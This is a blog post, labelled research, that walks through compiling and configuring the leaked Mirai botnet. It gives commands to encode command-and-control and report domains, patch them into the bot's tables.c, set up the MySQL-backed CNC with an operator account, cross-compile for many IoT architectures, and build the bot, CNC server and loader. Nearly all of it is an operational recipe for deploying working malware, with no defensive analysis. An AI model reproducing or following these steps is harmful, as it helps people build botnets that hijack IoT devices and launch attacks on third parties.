Build Mirai botnet (I): Compile Mirai Source

[Research]

2016-11-04 19:02:04 cdxy  Mirai,botnet,malware

An installation guide has been given by Mirai's author:

<https://github.com/jgamblin/Mirai-Source-Code/blob/master/ForumPost.md>

Here provides detailed installation commands.

Install requirements

apt-get install git gcc golang electric-fence mysql-server mysql-client

Download source code

git clone https://github.com/jgamblin/Mirai-Source-Code cd Mirai-Source-Code

Compile encrypt-script

cd mirai/tools && gcc enc.c -o enc.out

Encrypt your cnc-domain and report-domain

./enc.out string cnc.mirai.com

xy@kali:~/Desktop/Mirai-Source-Code-master/mirai/tools$ ./enc.out string cnc.mirai.com

XOR'ing 14 bytes of data...

\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22

./enc.out string report.mirai.com

xy@kali:~/Desktop/Mirai-Source-Code-master/mirai/tools$ ./enc.out string report.mirai.com

XOR'ing 17 bytes of data...

\x50\x47\x52\x4D\x50\x56\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22

Configuring bot

edit file "tables.c"

vi ../bot/tables.c

change string in line 18,line 21 to your encrypted domain string.

void table\_init(void)

{ // change below 4 lines

add\_entry(TABLE\_CNC\_DOMAIN, "\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 30); //cnc.mirai.com

add\_entry(TABLE\_CNC\_PORT, "\x22\x35", 2); // 23

add\_entry(TABLE\_SCAN\_CB\_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 29); // report.mirai.com

add\_entry(TABLE\_SCAN\_CB\_PORT, "\x99\xC7", 2); // 48101

Configuring CNC

cd ../../scripts

edit file "db.sql"

vi db.sql

add string "use mirai;" in line 2, after "CREATE DATABASE mirai;"

CREATE DATABASE mirai;

use mirai;

CREATE TABLE `history` (

...

start mysql service

service mysql start

update mysql database with this script (root:root is the user & pass I've set in my Mysql-server)

cat db.sql | mysql -uroot -proot

add user to mysql

mysql -uroot -proot mirai

INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');

exit

xy@kali:~/Desktop/Mirai-Source-Code-master/scripts$ mysql -uroot -proot mirai

...

mysql> INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');

Query OK, 1 row affected (0.06 sec)

mysql> exit

Bye

edit file "main.go"

vi ../mirai/cnc/main.go

line 10 - line 14 set **mysql user and pass** here

const DatabaseAddr string = "127.0.0.1"

const DatabaseUser string = "root"

const DatabasePass string = "root"

const DatabaseTable string = "mirai"

Cross Compile

now you are in "scripts" folder

xy@kali:~/Desktop/Mirai-Source-Code-master/scripts$

create folder at Mirai root path

cd .. && mkdir cross-compile-bin

cd cross-compile-bin

run following commands to download cross-compiler (use proxy if speed is slow)

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86\_64.tar.bz2

then run the script

cd ../scripts

sudo ./cross-compile.sh

type 'n' here

Install mysql-server and mysql-client (y/n)? n

edit .bashrc

vi ~/.bashrc

add following string at bottom

export PATH=$PATH:/etc/xcompile/armv4l/bin

export PATH=$PATH:/etc/xcompile/armv5l/bin

export PATH=$PATH:/etc/xcompile/armv6l/bin

export PATH=$PATH:/etc/xcompile/i586/bin

export PATH=$PATH:/etc/xcompile/m68k/bin

export PATH=$PATH:/etc/xcompile/mips/bin

export PATH=$PATH:/etc/xcompile/mipsel/bin

export PATH=$PATH:/etc/xcompile/powerpc/bin

export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

export PATH=$PATH:/etc/xcompile/sh4/bin

export PATH=$PATH:/etc/xcompile/sparc/bin

export GOPATH=$HOME/go

refresh

mkdir ~/go

source ~/.bashrc

Build bot and CNC

Get golang requiremnts

go get github.com/go-sql-driver/mysql

go get github.com/mattn/go-shellwords

In mirai folder, run build.sh script

cd ../mirai

./build.sh debug telnet

Build loader

cd ../loader

./build.sh